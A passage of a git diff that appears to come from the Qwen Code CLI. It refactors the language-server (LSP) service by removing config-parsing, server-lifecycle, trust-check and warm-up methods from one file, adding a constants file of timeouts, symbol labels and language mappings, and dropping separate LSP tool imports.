parsed = Number(itemObj['kind']); - if (Number.isFinite(parsed)) { - rawKind = parsed; - } - } - - return { - name, - kind: this.normalizeSymbolKind(itemObj['kind']), - rawKind, - detail: - typeof itemObj['detail'] === 'string' - ? (itemObj['detail'] as string) - : undefined, - uri, - range, - selectionRange, - data: itemObj['data'], - serverName: serverOverride ?? serverName, - }; - } - - private normalizeIncomingCall( - item: unknown, - serverName: string, - ): LspCallHierarchyIncomingCall | null { - if (!item || typeof item !== 'object') { - return null; - } - const itemObj = item as Record; - const from = this.normalizeCallHierarchyItem(itemObj['from'], serverName); - if (!from) { - return null; - } - return { - from, - fromRanges: this.normalizeRanges(itemObj['fromRanges']), - }; - } - - private normalizeOutgoingCall( - item: unknown, - serverName: string, - ): LspCallHierarchyOutgoingCall | null { - if (!item || typeof item !== 'object') { - return null; - } - const itemObj = item as Record; - const to = this.normalizeCallHierarchyItem(itemObj['to'], serverName); - if (!to) { - return null; - } - return { - to, - fromRanges: this.normalizeRanges(itemObj['fromRanges']), - }; - } - - private toCallHierarchyItemParams( - item: LspCallHierarchyItem, - ): Record { - // Use rawKind (numeric) for server communication, fallback to parsing kind string - let numericKind: number | undefined = item.rawKind; - if (numericKind === undefined && item.kind !== undefined) { - const parsed = Number(item.kind); - if (Number.isFinite(parsed)) { - numericKind = parsed; - } - } - - return { - name: item.name, - kind: numericKind, - detail: item.detail, - uri: item.uri, - range: item.range, - selectionRange: item.selectionRange, - data: item.data, - }; - } - - private isDocumentSymbol(item: Record): boolean { - const range = item['range']; - const selectionRange = item['selectionRange']; - return ( - typeof range === 'object' && - range !== null && - typeof selectionRange === 'object' && - selectionRange !== null - ); - } - - private collectDocumentSymbol( - item: Record, - uri: string, - serverName: string, - results: LspSymbolInformation[], - limit: number, - containerName?: string, - ): void { - if (results.length >= limit) { - return; - } - - const nameValue = item['name'] ?? item['label'] ?? 'symbol'; - const name = typeof nameValue === 'string' ? nameValue : String(nameValue); - const selectionRange = - this.normalizeRange(item['selectionRange']) ?? - this.normalizeRange(item['range']); - - if (!selectionRange) { - return; - } - - results.push({ - name, - kind: this.normalizeSymbolKind(item['kind']), - containerName, - location: { - uri, - range: selectionRange, - }, - serverName, - }); - - if (results.length >= limit) { - return; - } - - const children = item['children']; - if (Array.isArray(children)) { - for (const child of children) { - if (results.length >= limit) { - break; - } - if (child && typeof child === 'object') { - this.collectDocumentSymbol( - child as Record, - uri, - serverName, - results, - limit, - name, - ); - } - } - } - } - - /** - * 合并配置：内置预设 + 用户配置 + 兼容层 - */ - private mergeConfigs( - detectedLanguages: string[], - userConfigs: LspServerConfig[], - ): LspServerConfig[] { - // 内置预设配置 - const presets = this.getBuiltInPresets(detectedLanguages); - - // 合并配置，用户配置优先级更高 - const mergedConfigs = [...presets]; - - for (const userConfig of userConfigs) { - // 查找是否有同名的预设配置，如果有则替换 - const existingIndex = mergedConfigs.findIndex( - (c) => c.name === userConfig.name, - ); - if (existingIndex !== -1) { - mergedConfigs[existingIndex] = userConfig; - } else { - mergedConfigs.push(userConfig); - } - } - - return mergedConfigs; - } - - /** - * 获取内置预设配置 - */ - private getBuiltInPresets(detectedLanguages: string[]): LspServerConfig[] { - const presets: LspServerConfig[] = []; - - // 将目录路径转换为文件 URI 格式 - const rootUri = pathToFileURL(this.workspaceRoot).toString(); - - // 根据检测到的语言生成对应的 LSP 服务器配置 - if ( - detectedLanguages.includes('typescript') || - detectedLanguages.includes('javascript') - ) { - presets.push({ - name: 'typescript-language-server', - languages: [ - 'typescript', - 'javascript', - 'typescriptreact', - 'javascriptreact', - ], - command: 'typescript-language-server', - args: ['--stdio'], - transport: 'stdio', - initializationOptions: {}, - rootUri, - workspaceFolder: this.workspaceRoot, - trustRequired: true, - }); - } - - if (detectedLanguages.includes('python')) { - presets.push({ - name: 'pylsp', - languages: ['python'], - command: 'pylsp', - args: [], - transport: 'stdio', - initializationOptions: {}, - rootUri, - workspaceFolder: this.workspaceRoot, - trustRequired: true, - }); - } - - if (detectedLanguages.includes('go')) { - presets.push({ - name: 'gopls', - languages: ['go'], - command: 'gopls', - args: [], - transport: 'stdio', - initializationOptions: {}, - rootUri, - workspaceFolder: this.workspaceRoot, - trustRequired: true, - }); - } - - // 可以根据需要添加更多语言的预设配置 - - return presets; - } - - /** - * 加载用户 .lsp.json 配置 - */ - private async loadUserConfigs(): Promise { - const configs: LspServerConfig[] = []; - const sources: Array<{ origin: string; data: unknown }> = []; - - if (this.inlineServerConfigs) { - sources.push({ - origin: 'settings.lsp.languageServers', - data: this.inlineServerConfigs, - }); - } - - const lspConfigPath = path.join(this.workspaceRoot, '.lsp.json'); - if (fs.existsSync(lspConfigPath)) { - try { - const configContent = fs.readFileSync(lspConfigPath, 'utf-8'); - sources.push({ - origin: lspConfigPath, - data: JSON.parse(configContent), - }); - } catch (e) { - console.warn('加载用户 .lsp.json 配置失败:', e); - } - } - - for (const source of sources) { - const parsed = this.parseConfigSource(source.data, source.origin); - if (parsed.usedLegacyFormat && parsed.configs.length > 0) { - this.warnLegacyConfig(source.origin); - } - configs.push(...parsed.configs); - } - - return configs; - } - - private parseConfigSource( - source: unknown, - origin: string, - ): { configs: LspServerConfig[]; usedLegacyFormat: boolean } { - if (!this.isRecord(source)) { - return { configs: [], usedLegacyFormat: false }; - } - - const configs: LspServerConfig[] = []; - let serverMap: Record = source; - let usedLegacyFormat = false; - - if (this.isRecord(source['languageServers'])) { - serverMap = source['languageServers'] as Record; - } else if (this.isNewFormatServerMap(source)) { - serverMap = source; - } else { - usedLegacyFormat = true; - } - - for (const [key, spec] of Object.entries(serverMap)) { - if (!this.isRecord(spec)) { - continue; - } - - const languagesValue = spec['languages']; - const languages = usedLegacyFormat - ? [key] - : (this.normalizeStringArray(languagesValue) ?? - (typeof languagesValue === 'string' ? [languagesValue] : [])); - - const name = usedLegacyFormat - ? typeof spec['command'] === 'string' - ? (spec['command'] as string) - : key - : key; - - const config = this.buildServerConfig(name, languages, spec, origin); - if (config) { - configs.push(config); - } - } - - return { configs, usedLegacyFormat }; - } - - private buildServerConfig( - name: string, - languages: string[], - spec: Record, - origin: string, - ): LspServerConfig | null { - const transport = this.normalizeTransport(spec['transport']); - const command = - typeof spec['command'] === 'string' - ? (spec['command'] as string) - : undefined; - const args = this.normalizeStringArray(spec['args']) ?? []; - const env = this.normalizeEnv(spec['env']); - const initializationOptions = this.isRecord(spec['initializationOptions']) - ? (spec['initializationOptions'] as LspInitializationOptions) - : undefined; - const settings = this.isRecord(spec['settings']) - ? (spec['settings'] as Record) - : undefined; - const extensionToLanguage = this.normalizeExtensionToLanguage( - spec['extensionToLanguage'], - ); - const workspaceFolder = this.resolveWorkspaceFolder( - spec['workspaceFolder'], - ); - const rootUri = pathToFileURL(workspaceFolder).toString(); - const startupTimeout = this.normalizeTimeout(spec['startupTimeout']); - const shutdownTimeout = this.normalizeTimeout(spec['shutdownTimeout']); - const restartOnCrash = - typeof spec['restartOnCrash'] === 'boolean' - ? (spec['restartOnCrash'] as boolean) - : undefined; - const maxRestarts = this.normalizeMaxRestarts(spec['maxRestarts']); - const trustRequired = - typeof spec['trustRequired'] === 'boolean' - ? (spec['trustRequired'] as boolean) - : true; - const socket = this.normalizeSocketOptions(spec); - - if (transport === 'stdio' && !command) { - console.warn(`LSP config error in ${origin}: ${name} missing command`); - return null; - } - - if (transport !== 'stdio' && !socket) { - console.warn( - `LSP config error in ${origin}: ${name} missing socket info`, - ); - return null; - } - - return { - name, - languages, - command, - args, - transport, - env, - initializationOptions, - settings, - extensionToLanguage, - rootUri, - workspaceFolder, - startupTimeout, - shutdownTimeout, - restartOnCrash, - maxRestarts, - trustRequired, - socket, - }; - } - - private isNewFormatServerMap(value: Record): boolean { - return Object.values(value).some( - (entry) => this.isRecord(entry) && this.isNewFormatServerSpec(entry), - ); - } - - private isNewFormatServerSpec(value: Record): boolean { - return ( - Array.isArray(value['languages']) || - this.isRecord(value['extensionToLanguage']) || - this.isRecord(value['settings']) || - value['workspaceFolder'] !== undefined || - value['startupTimeout'] !== undefined || - value['shutdownTimeout'] !== undefined || - value['restartOnCrash'] !== undefined || - value['maxRestarts'] !== undefined || - this.isRecord(value['env']) || - value['socket'] !== undefined - ); - } - - private warnLegacyConfig(origin: string): void { - if (this.warnedLegacyConfig) { - return; - } - console.warn( - `Legacy LSP config detected in ${origin}. Please migrate to the languageServers format.`, - ); - this.warnedLegacyConfig = true; - } - - private isRecord(value: unknown): value is Record { - return typeof value === 'object' && value !== null && !Array.isArray(value); - } - - private normalizeStringArray(value: unknown): string[] | undefined { - if (!Array.isArray(value)) { - return undefined; - } - return value.filter((item): item is string => typeof item === 'string'); - } - - private normalizeEnv(value: unknown): Record | undefined { - if (!this.isRecord(value)) { - return undefined; - } - const env: Record = {}; - for (const [key, val] of Object.entries(value)) { - if ( - typeof val === 'string' || - typeof val === 'number' || - typeof val === 'boolean' - ) { - env[key] = String(val); - } - } - return Object.keys(env).length > 0 ? env : undefined; - } - - private normalizeExtensionToLanguage( - value: unknown, - ): Record | undefined { - if (!this.isRecord(value)) { - return undefined; - } - const mapping: Record = {}; - for (const [key, lang] of Object.entries(value)) { - if (typeof lang !== 'string') { - continue; - } - const normalized = key.startsWith('.') ? key.slice(1) : key; - if (!normalized) { - continue; - } - mapping[normalized.toLowerCase()] = lang; - } - return Object.keys(mapping).length > 0 ? mapping : undefined; - } - - private normalizeTransport(value: unknown): 'stdio' | 'tcp' | 'socket' { - if (typeof value !== 'string') { - return 'stdio'; - } - const normalized = value.toLowerCase(); - if (normalized === 'tcp' || normalized === 'socket') { - return normalized; - } - return 'stdio'; - } - - private normalizeTimeout(value: unknown): number | undefined { - if (typeof value !== 'number') { - return undefined; - } - if (!Number.isFinite(value) || value <= 0) { - return undefined; - } - return value; - } - - private normalizeMaxRestarts(value: unknown): number | undefined { - if (typeof value !== 'number') { - return undefined; - } - if (!Number.isFinite(value) || value < 0) { - return undefined; - } - return value; - } - - private normalizeSocketOptions( - value: Record, - ): LspSocketOptions | undefined { - const socketValue = value['socket']; - if (typeof socketValue === 'string') { - return { path: socketValue }; - } - - const source = this.isRecord(socketValue) ? socketValue : value; - const host = - typeof source['host'] === 'string' - ? (source['host'] as string) - : undefined; - const pathValue = - typeof source['path'] === 'string' - ? (source['path'] as string) - : typeof source['socketPath'] === 'string' - ? (source['socketPath'] as string) - : undefined; - const portValue = source['port']; - const port = - typeof portValue === 'number' - ? portValue - : typeof portValue === 'string' - ? Number(portValue) - : undefined; - - const socket: LspSocketOptions = {}; - if (host) { - socket.host = host; - } - if (Number.isFinite(port) && (port as number) > 0) { - socket.port = port as number; - } - if (pathValue) { - socket.path = pathValue; - } - - if (!socket.path && !socket.port) { - return undefined; - } - return socket; - } - - private resolveWorkspaceFolder(value: unknown): string { - if (typeof value !== 'string' || value.trim() === '') { - return this.workspaceRoot; - } - - const resolved = path.isAbsolute(value) - ? path.resolve(value) - : path.resolve(this.workspaceRoot, value); - const root = path.resolve(this.workspaceRoot); - - if (resolved === root || resolved.startsWith(root + path.sep)) { - return resolved; - } - - console.warn( - `LSP workspaceFolder must be within ${this.workspaceRoot}; using workspace root instead.`, - ); - return this.workspaceRoot; - } - - /** - * 启动单个 LSP 服务器 - */ - private async startServer( - name: string, - handle: LspServerHandle, - ): Promise { - if (handle.status === 'IN_PROGRESS') { - return; - } - handle.stopRequested = false; - - if (this.isServerInList(this.excludedServers, handle.config)) { - console.log(`LSP 服务器 ${name} 在排除列表中，跳过启动`); - handle.status = 'FAILED'; - return; - } - - if ( - this.allowedServers && - this.allowedServers.length > 0 && - !this.isServerInList(this.allowedServers, handle.config) - ) { - console.log(`LSP 服务器 ${name} 不在允许列表中，跳过启动`); - handle.status = 'FAILED'; - return; - } - - const workspaceTrusted = this.config.isTrustedFolder(); - if ( - (this.requireTrustedWorkspace || handle.config.trustRequired) && - !workspaceTrusted - ) { - console.log(`LSP 服务器 ${name} 需要受信任的工作区，跳过启动`); - handle.status = 'FAILED'; - return; - } - - // 请求用户确认 - const consent = await this.requestUserConsent( - name, - handle.config, - workspaceTrusted, - ); - if (!consent) { - console.log(`用户拒绝启动 LSP 服务器 ${name}`); - handle.status = 'FAILED'; - return; - } - - // 检查命令是否存在 - if (handle.config.command) { - const commandCwd = handle.config.workspaceFolder ?? this.workspaceRoot; - if ( - !(await this.commandExists( - handle.config.command, - handle.config.env, - commandCwd, - )) - ) { - console.warn( - `LSP 服务器 ${name} 的命令不存在: ${handle.config.command}`, - ); - handle.status = 'FAILED'; - return; - } - - // 检查路径安全性 - if ( - !this.isPathSafe(handle.config.command, this.workspaceRoot, commandCwd) - ) { - console.warn( - `LSP 服务器 ${name} 的命令路径不安全: ${handle.config.command}`, - ); - handle.status = 'FAILED'; - return; - } - } - - try { - handle.error = undefined; - handle.warmedUp = false; - handle.status = 'IN_PROGRESS'; - - // 创建 LSP 连接 - const connection = await this.createLspConnection(handle.config); - handle.connection = connection.connection; - handle.process = connection.process; - - // 初始化 LSP 服务器 - await this.initializeLspServer(connection, handle.config); - - handle.status = 'READY'; - this.attachRestartHandler(name, handle); - console.log(`LSP 服务器 ${name} 启动成功`); - } catch (error) { - handle.status = 'FAILED'; - handle.error = error as Error; - console.error(`LSP 服务器 ${name} 启动失败:`, error); - } - } - - /** - * 停止单个 LSP 服务器 - */ - private async stopServer( - name: string, - handle: LspServerHandle, - ): Promise { - handle.stopRequested = true; - - if (handle.connection) { - try { - await this.shutdownConnection(handle); - } catch (error) { - console.error(`关闭 LSP 服务器 ${name} 时出错:`, error); - } - } else if (handle.process && handle.process.exitCode === null) { - handle.process.kill(); - } - handle.connection = undefined; - handle.process = undefined; - handle.status = 'NOT_STARTED'; - handle.warmedUp = false; - handle.restartAttempts = 0; - } - - private isServerInList( - list: string[] | undefined, - config: LspServerConfig, - ): boolean { - if (!list || list.length === 0) { - return false; - } - if (list.includes(config.name)) { - return true; - } - if (config.command && list.includes(config.command)) { - return true; - } - return false; - } - - private async shutdownConnection(handle: LspServerHandle): Promise { - if (!handle.connection) { - return; - } - try { - const shutdownPromise = handle.connection.shutdown(); - if (typeof handle.config.shutdownTimeout === 'number') { - await Promise.race([ - shutdownPromise, - new Promise((resolve) => - setTimeout(resolve, handle.config.shutdownTimeout), - ), - ]); - } else { - await shutdownPromise; - } - } finally { - handle.connection.end(); - } - } - - private attachRestartHandler(name: string, handle: LspServerHandle): void { - if (!handle.process) { - return; - } - handle.process.once('exit', (code) => { - if (handle.stopRequested) { - return; - } - if (!handle.config.restartOnCrash) { - handle.status = 'FAILED'; - return; - } - const maxRestarts = handle.config.maxRestarts ?? DEFAULT_LSP_MAX_RESTARTS; - if (maxRestarts <= 0) { - handle.status = 'FAILED'; - return; - } - const attempts = handle.restartAttempts ?? 0; - if (attempts >= maxRestarts) { - console.warn( - `LSP 服务器 ${name} 达到最大重启次数 (${maxRestarts})，停止重启`, - ); - handle.status = 'FAILED'; - return; - } - handle.restartAttempts = attempts + 1; - console.warn( - `LSP 服务器 ${name} 退出 (code ${code ?? 'unknown'})，正在重启 (${handle.restartAttempts}/${maxRestarts})`, - ); - this.resetHandle(handle); - void this.startServer(name, handle); - }); - } - - private resetHandle(handle: LspServerHandle): void { - if (handle.connection) { - handle.connection.end(); - } - if (handle.process && handle.process.exitCode === null) { - handle.process.kill(); - } - handle.connection = undefined; - handle.process = undefined; - handle.status = 'NOT_STARTED'; - handle.error = undefined; - handle.warmedUp = false; - handle.stopRequested = false; - } - - private buildProcessEnv( - env: Record | undefined, - ): NodeJS.ProcessEnv | undefined { - if (!env || Object.keys(env).length === 0) { - return undefined; - } - return { ...process.env, ...env }; - } - - private async connectSocketWithRetry( - socket: LspSocketOptions, - timeoutMs: number, - ): Promise< - Awaited> - > { - const deadline = Date.now() + timeoutMs; - let attempt = 0; - while (true) { - const remaining = deadline - Date.now(); - if (remaining <= 0) { - throw new Error('LSP server connection timeout'); - } - try { - return await LspConnectionFactory.createSocketConnection( - socket, - remaining, - ); - } catch (error) { - attempt += 1; - if (Date.now() >= deadline) { - throw error; - } - const delay = Math.min(250 * attempt, 1000); - await new Promise((resolve) => setTimeout(resolve, delay)); - } - } - } - - /** - * 创建 LSP 连接 - */ - private async createLspConnection(config: LspServerConfig): Promise<{ - connection: LspConnectionInterface; - process?: ChildProcess; - shutdown: () => Promise; - exit: () => void; - initialize: (params: unknown) => Promise; - }> { - const workspaceFolder = config.workspaceFolder ?? this.workspaceRoot; - const startupTimeout = - config.startupTimeout ?? DEFAULT_LSP_STARTUP_TIMEOUT_MS; - const env = this.buildProcessEnv(config.env); - - if (config.transport === 'stdio') { - if (!config.command) { - throw new Error('LSP stdio transport requires a command'); - } - - // 修复：使用 cwd 作为 cwd 而不是 rootUri - const lspConnection = await LspConnectionFactory.createStdioConnection( - config.command, - config.args ?? [], - { cwd: workspaceFolder, env }, - startupTimeout, - ); - - return { - connection: lspConnection.connection as LspConnectionInterface, - process: lspConnection.process as ChildProcess, - shutdown: async () => { - await lspConnection.connection.shutdown(); - }, - exit: () => { - if (lspConnection.process && !lspConnection.process.killed) { - (lspConnection.process as ChildProcess).kill(); - } - lspConnection.connection.end(); - }, - initialize: async (params: unknown) => - lspConnection.connection.initialize(params), - }; - } else if (config.transport === 'tcp' || config.transport === 'socket') { - if (!config.socket) { - throw new Error('LSP socket transport requires host/port or path'); - } - - let process: ChildProcess | undefined; - if (config.command) { - process = spawn(config.command, config.args ?? [], { - cwd: workspaceFolder, - env, - stdio: 'ignore', - }); - await new Promise((resolve, reject) => { - process?.once('spawn', () => resolve()); - process?.once('error', (error) => { - reject(new Error(`Failed to spawn LSP server: ${error.message}`)); - }); - }); - } - - try { - const lspConnection = await this.connectSocketWithRetry( - config.socket, - startupTimeout, - ); - - return { - connection: lspConnection.connection as LspConnectionInterface, - process, - shutdown: async () => { - await lspConnection.connection.shutdown(); - }, - exit: () => { - lspConnection.connection.end(); - }, - initialize: async (params: unknown) => - lspConnection.connection.initialize(params), - }; - } catch (error) { - if (process && process.exitCode === null) { - process.kill(); - } - throw error; - } - } else { - throw new Error(`Unsupported transport: ${config.transport}`); - } - } - - /** - * 初始化 LSP 服务器 - */ - private async initializeLspServer( - connection: Awaited>, - config: LspServerConfig, - ): Promise { - const workspaceFolderPath = config.workspaceFolder ?? this.workspaceRoot; - const workspaceFolder = { - name: path.basename(workspaceFolderPath) || workspaceFolderPath, - uri: config.rootUri, - }; - - const initializeParams = { - processId: process.pid, - rootUri: config.rootUri, - rootPath: workspaceFolderPath, - workspaceFolders: [workspaceFolder], - capabilities: { - textDocument: { - completion: { dynamicRegistration: true }, - hover: { dynamicRegistration: true }, - definition: { dynamicRegistration: true }, - references: { dynamicRegistration: true }, - documentSymbol: { dynamicRegistration: true }, - codeAction: { dynamicRegistration: true }, - }, - workspace: { - workspaceFolders: { supported: true }, - }, - }, - initializationOptions: config.initializationOptions, - }; - - await connection.initialize(initializeParams); - - // Send initialized notification and workspace folders change to help servers (e.g. tsserver) - // create projects in the correct workspace. - connection.connection.send({ - jsonrpc: '2.0', - method: 'initialized', - params: {}, - }); - connection.connection.send({ - jsonrpc: '2.0', - method: 'workspace/didChangeWorkspaceFolders', - params: { - event: { - added: [workspaceFolder], - removed: [], - }, - }, - }); - - if (config.settings && Object.keys(config.settings).length > 0) { - connection.connection.send({ - jsonrpc: '2.0', - method: 'workspace/didChangeConfiguration', - params: { - settings: config.settings, - }, - }); - } - - // Warm up TypeScript server by opening a workspace file so it can create a project. - if ( - config.name.includes('typescript') || - (config.command?.includes('typescript') ?? false) - ) { - try { - const tsFile = this.findFirstTypescriptFile(); - if (tsFile) { - const uri = pathToFileURL(tsFile).toString(); - const languageId = tsFile.endsWith('.tsx') - ? 'typescriptreact' - : 'typescript'; - const text = fs.readFileSync(tsFile, 'utf-8'); - connection.connection.send({ - jsonrpc: '2.0', - method: 'textDocument/didOpen', - params: { - textDocument: { - uri, - languageId, - version: 1, - text, - }, - }, - }); - } - } catch (error) { - console.warn('TypeScript LSP warm-up failed:', error); - } - } - } - - /** - * 检查命令是否存在 - */ - private async commandExists( - command: string, - env?: Record, - cwd?: string, - ): Promise { - // 实现命令存在性检查 - return new Promise((resolve) => { - let settled = false; - const child = spawn(command, ['--version'], { - stdio: ['ignore', 'ignore', 'ignore'], - cwd: cwd ?? this.workspaceRoot, - env: this.buildProcessEnv(env), - }); - - child.on('error', () => { - settled = true; - resolve(false); - }); - - child.on('exit', (code) => { - if (settled) { - return; - } - // 如果命令存在，通常会返回 0 或其他非错误码 - // 有些命令的 --version 选项可能返回非 0，但不会抛出错误 - resolve(code !== 127); // 127 通常表示命令不存在 - }); - - // 设置超时，避免长时间等待 - setTimeout(() => { - settled = true; - child.kill(); - resolve(false); - }, 2000); - }); - } - - /** - * 检查路径安全性 - */ - private isPathSafe( - command: string, - workspacePath: string, - cwd?: string, - ): boolean { - // 检查命令是否在工作区路径内，或者是否在系统 PATH 中 - // 允许全局安装的命令（如在 PATH 中的命令） - // 只阻止显式指定工作区外绝对路径的情况 - const resolvedWorkspacePath = path.resolve(workspacePath); - const basePath = cwd ? path.resolve(cwd) : resolvedWorkspacePath; - const resolvedPath = path.isAbsolute(command) - ? path.resolve(command) - : path.resolve(basePath, command); - return ( - resolvedPath.startsWith(resolvedWorkspacePath + path.sep) || - resolvedPath === resolvedWorkspacePath - ); - } - - /** - * 请求用户确认启动 LSP 服务器 - */ - private async requestUserConsent( - serverName: string, - serverConfig: LspServerConfig, - workspaceTrusted: boolean, - ): Promise { - if (workspaceTrusted) { - return true; // 在受信任工作区中自动允许 - } - - if (this.requireTrustedWorkspace || serverConfig.trustRequired) { - console.log( - `工作区未受信任，跳过 LSP 服务器 ${serverName} (${serverConfig.command ?? serverConfig.transport})`, - ); - return false; - } - - console.log( - `未受信任的工作区，LSP 服务器 ${serverName} 标记为 trustRequired=false，将谨慎尝试启动`, - ); - return true; - } - - /** - * Find a representative TypeScript/JavaScript file to warm up tsserver. - */ - private findFirstTypescriptFile(): string | undefined { - const patterns = ['**/*.ts', '**/*.tsx', '**/*.js', '**/*.jsx']; - const excludePatterns = [ - '**/node_modules/**', - '**/.git/**', - '**/dist/**', - '**/build/**', - ]; - - for (const root of this.workspaceContext.getDirectories()) { - for (const pattern of patterns) { - try { - const matches = globSync(pattern, { - cwd: root, - ignore: excludePatterns, - absolute: true, - nodir: true, - }); - for (const file of matches) { - if (this.fileDiscoveryService.shouldIgnoreFile(file)) { - continue; - } - return file; - } - } catch (_error) { - // ignore glob errors - } - } - } - - return undefined; - } - private isTypescriptServer(handle: LspServerHandle): boolean { return ( handle.config.name.includes('typescript') || @@ -3022,51 +949,4 @@ export class NativeLspService { : ''; return message.includes('No Project'); } - - /** - * Ensure tsserver has at least one file open so navto/navtree requests succeed. - */ - private async warmupTypescriptServer( - handle: LspServerHandle, - force = false, - ): Promise { - if (!handle.connection || !this.isTypescriptServer(handle)) { - return; - } - if (handle.warmedUp && !force) { - return; - } - const tsFile = this.findFirstTypescriptFile(); - if (!tsFile) { - return; - } - handle.warmedUp = true; - const uri = pathToFileURL(tsFile).toString(); - const languageId = tsFile.endsWith('.tsx') - ? 'typescriptreact' - : tsFile.endsWith('.jsx') - ? 'javascriptreact' - : tsFile.endsWith('.js') - ? 'javascript' - : 'typescript'; - try { - const text = fs.readFileSync(tsFile, 'utf-8'); - handle.connection.send({ - jsonrpc: '2.0', - method: 'textDocument/didOpen', - params: { - textDocument: { - uri, - languageId, - version: 1, - text, - }, - }, - }); - // Give tsserver a moment to build the project. - await new Promise((resolve) => setTimeout(resolve, 150)); - } catch (error) { - console.warn('TypeScript server warm-up failed:', error); - } - } } diff --git a/packages/cli/src/services/lsp/constants.ts b/packages/cli/src/services/lsp/constants.ts new file mode 100644 index 000000000..b76c09aa7 --- /dev/null +++ b/packages/cli/src/services/lsp/constants.ts @@ -0,0 +1,210 @@ +/** + * @license + * Copyright 2025 Qwen Team + * SPDX-License-Identifier: Apache-2.0 + */ + +import type { + LspCodeActionKind, + LspDiagnosticSeverity, +} from '@qwen-code/qwen-code-core'; + +// ============================================================================ +// Timeout Constants +// ============================================================================ + +/** Default timeout for LSP server startup in milliseconds */ +export const DEFAULT_LSP_STARTUP_TIMEOUT_MS = 10000; + +/** Default timeout for LSP requests in milliseconds */ +export const DEFAULT_LSP_REQUEST_TIMEOUT_MS = 15000; + +/** Default delay for TypeScript server warm-up in milliseconds */ +export const DEFAULT_LSP_WARMUP_DELAY_MS = 150; + +/** Default timeout for command existence check in milliseconds */ +export const DEFAULT_LSP_COMMAND_CHECK_TIMEOUT_MS = 2000; + +/** Default timeout for LSP server shutdown in milliseconds */ +export const DEFAULT_LSP_SHUTDOWN_TIMEOUT_MS = 5000; + +// ============================================================================ +// Retry Constants +// ============================================================================ + +/** Default maximum number of server restart attempts */ +export const DEFAULT_LSP_MAX_RESTARTS = 3; + +/** Default initial delay between socket connection retries in milliseconds */ +export const DEFAULT_LSP_SOCKET_RETRY_DELAY_MS = 250; + +/** Default maximum delay between socket connection retries in milliseconds */ +export const DEFAULT_LSP_SOCKET_MAX_RETRY_DELAY_MS = 1000; + +// ============================================================================ +// LSP Protocol Labels +// ============================================================================ + +/** + * Symbol kind labels for converting numeric LSP SymbolKind to readable strings. + * Based on the LSP specification: + * https://microsoft.github.io/language-server-protocol/specifications/lsp/3.17/specification/#symbolKind + */ +export const SYMBOL_KIND_LABELS: Record = { + 1: 'File', + 2: 'Module', + 3: 'Namespace', + 4: 'Package', + 5: 'Class', + 6: 'Method', + 7: 'Property', + 8: 'Field', + 9: 'Constructor', + 10: 'Enum', + 11: 'Interface', + 12: 'Function', + 13: 'Variable', + 14: 'Constant', + 15: 'String', + 16: 'Number', + 17: 'Boolean', + 18: 'Array', + 19: 'Object', + 20: 'Key', + 21: 'Null', + 22: 'EnumMember', + 23: 'Struct', + 24: 'Event', + 25: 'Operator', + 26: 'TypeParameter', +}; + +/** + * Diagnostic severity labels for converting numeric LSP DiagnosticSeverity to readable strings. + * Based on the LSP specification. + */ +export const DIAGNOSTIC_SEVERITY_LABELS: Record = + { + 1: 'error', + 2: 'warning', + 3: 'information', + 4: 'hint', + }; + +/** + * Code action kind labels from LSP specification. + */ +export const CODE_ACTION_KIND_LABELS: Record = { + '': 'quickfix', + quickfix: 'quickfix', + refactor: 'refactor', + 'refactor.extract': 'refactor.extract', + 'refactor.inline': 'refactor.inline', + 'refactor.rewrite': 'refactor.rewrite', + source: 'source', + 'source.organizeImports': 'source.organizeImports', + 'source.fixAll': 'source.fixAll', +}; + +// ============================================================================ +// Language Detection +// ============================================================================ + +/** + * Common root marker files that indicate project type/language. + */ +export const COMMON_ROOT_MARKERS = [ + 'package.json', + 'tsconfig.json', + 'pyproject.toml', + 'go.mod', + 'Cargo.toml', + 'pom.xml', + 'build.gradle', + 'composer.json', + 'Gemfile', + 'mix.exs', + 'deno.json', +] as const; + +/** + * Mapping from root marker files to programming languages. + */ +export const MARKER_TO_LANGUAGE: Record = { + 'package.json': 'javascript', + 'tsconfig.json': 'typescript', + 'pyproject.toml': 'python', + 'go.mod': 'go', + 'Cargo.toml': 'rust', + 'pom.xml': 'java', + 'build.gradle': 'java', + 'composer.json': 'php', + Gemfile: 'ruby', + '*.sln': 'csharp', + 'mix.exs': 'elixir', + 'deno.json': 'deno', +}; + +/** + * Default mapping from file extensions to language identifiers. + */ +export const DEFAULT_EXTENSION_TO_LANGUAGE: Record = { + js: 'javascript', + ts: 'typescript', + jsx: 'javascriptreact', + tsx: 'typescriptreact', + py: 'python', + go: 'go', + rs: 'rust', + java: 'java', + cpp: 'cpp', + c: 'c', + php: 'php', + rb: 'ruby', + cs: 'csharp', + vue: 'vue', + svelte: 'svelte', + html: 'html', + css: 'css', + json: 'json', + yaml: 'yaml', + yml: 'yaml', +}; + +/** + * Glob patterns to exclude when detecting languages. + */ +export const LANGUAGE_DETECTION_EXCLUDE_PATTERNS = [ + '**/node_modules/**', + '**/.git/**', + '**/dist/**', + '**/build/**', +] as const; + +// ============================================================================ +// Default Limits for LSP Operations +// ============================================================================ + +/** Default limit for workspace symbol search results */ +export const DEFAULT_LSP_WORKSPACE_SYMBOL_LIMIT = 50; + +/** Default limit for definition/implementation results */ +export const DEFAULT_LSP_DEFINITION_LIMIT = 50; + +/** Default limit for reference results */ +export const DEFAULT_LSP_REFERENCE_LIMIT = 200; + +/** Default limit for document symbol results */ +export const DEFAULT_LSP_DOCUMENT_SYMBOL_LIMIT = 200; + +/** Default limit for call hierarchy results */ +export const DEFAULT_LSP_CALL_HIERARCHY_LIMIT = 50; + +/** Default limit for diagnostics results */ +export const DEFAULT_LSP_DIAGNOSTICS_LIMIT = 100; + +/** Default limit for code action results */ +export const DEFAULT_LSP_CODE_ACTION_LIMIT = 20; + +/** Maximum number of files to scan during language detection */ +export const DEFAULT_LSP_LANGUAGE_DETECTION_FILE_LIMIT = 1000; diff --git a/packages/core/src/config/config.ts b/packages/core/src/config/config.ts index a303e26f0..0cd207b6b 100644 --- a/packages/core/src/config/config.ts +++ b/packages/core/src/config/config.ts @@ -61,9 +61,6 @@ import { ToolRegistry } from '../tools/tool-registry.js'; import { WebFetchTool } from '../tools/web-fetch.js'; import { WebSearchTool } from '../tools/web-search/index.js'; import { WriteFileTool } from '../tools/write-file.js'; -import { LspWorkspaceSymbolTool } from '../tools/lsp-workspace-symbol.js'; -import { LspGoToDefinitionTool } from '../tools/lsp-go-to-definition.js'; -import { LspFindReferencesTool } from '../tools/lsp-find-references.js'; import { LspTool } from '../tools/lsp.js'; import type { LspClient } from '../lsp/types.js'; @@ -296,8 +293,6 @@ export interface ConfigParameters { mcpServers?: Record; lsp?: { enabled?: boolean; - allowed?: string[]; - excluded?: 